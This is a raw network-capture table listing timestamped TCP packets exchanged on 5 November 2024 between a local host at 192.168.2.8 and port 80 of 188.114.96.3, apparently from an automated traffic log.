Nov 5, 2024 12:43:33.866718054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866795063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866833925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866861105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866873026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866930962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.866971016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866982937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.866993904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.867017984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.867034912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.897819996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.897838116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.897851944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898005009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898045063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898066998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898080111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898085117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898102045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898116112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898116112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898128033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898139000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898140907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898152113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898164034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898166895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898174047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898185968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.898197889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898211956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.898226023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980506897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980525970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980540991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980580091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980592012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980624914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980637074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980648994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980659008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980700970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980775118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980788946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980799913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980812073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980820894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980849981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980875015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980899096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980911016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980922937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980933905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.980942965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980979919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.980979919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981703997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981730938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981741905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981775045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981781006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981795073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981796026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981827974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981829882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981848001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981880903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981890917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981894970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981964111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981976986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.981983900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.981990099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982002974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982016087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982023954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982045889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982068062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982081890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982094049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982134104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982157946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982511997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982522964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982532978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982570887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982583046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982573986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982628107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982628107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982628107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982677937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982723951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982734919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:33.982748032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:33.982785940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013036966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013066053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013091087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013102055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013113022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013144970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013144970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013181925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013181925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013195038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013209105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013220072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013256073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013256073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013257027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013300896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013343096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013381004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013394117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013421059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.013427973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013458014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.013458014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.095818043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.095848083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.095860958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.095875978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.095916033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.095947027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.095951080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.095959902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096010923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096010923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096039057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096051931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096086025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096131086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096153021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096198082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096214056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096225977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096275091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096275091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096296072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096307993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096343994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096501112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096554041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096561909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096566916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096599102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096611023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096621037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096626043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.096658945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096685886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.096973896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097022057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097026110 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097033024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097071886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097084045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097095966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097106934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097137928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097168922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097250938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097294092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097321033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097332954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097373009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097373009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097445965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097477913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097487926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097503901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097517967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097524881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097556114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097563982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097578049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097615957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097702026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097745895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097768068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097779989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097816944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097853899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097866058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097877026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097897053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097923040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.097959042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.097969055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.098006964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128592968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128607988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128618956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128640890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128652096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128663063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128673077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128684044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128724098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128761053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128762007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128832102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128844976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128849030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128873110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.128878117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128916025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.128973007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.129015923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.129029036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.129061937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211663008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211678982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211694956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211740017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211749077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211798906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211798906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211811066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211847067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211860895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211924076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211936951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211947918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211960077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.211971998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.211998940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212073088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212084055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212117910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212201118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212210894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212222099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212235928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212270021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212292910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212306023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212318897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212332010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212351084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212359905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212702036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212769032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212771893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212805033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212811947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212846041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.212858915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212871075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.212903023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213160038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213205099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213211060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213268042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213306904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213319063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213325977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213378906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213448048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213455915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213458061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213522911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213597059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213608027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213620901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213634014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213634014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213696003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.213747978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213752985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213761091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.213790894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.243880033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.243907928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.243918896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.243949890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.243968010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244540930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244568110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244586945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244610071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244630098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244642019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244671106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244688988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244700909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244713068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244741917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244751930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244820118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244832993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244843960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244858027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.244858980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244880915 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.244906902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.289139986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.289146900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.289402962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326788902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326807022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326852083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326864004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326869011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326878071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326890945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326906919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326913118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326927900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326948881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326956987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.326971054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.326994896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327011108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327049017 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327105045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327115059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327133894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327148914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327148914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327166080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327183008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327205896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327243090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327244997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327249050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327282906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327388048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327408075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327418089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327433109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327442884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327461958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327496052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327507973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327517986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.327538967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.327559948 CET	49711	80	192.168.2.8	188.114.96.3
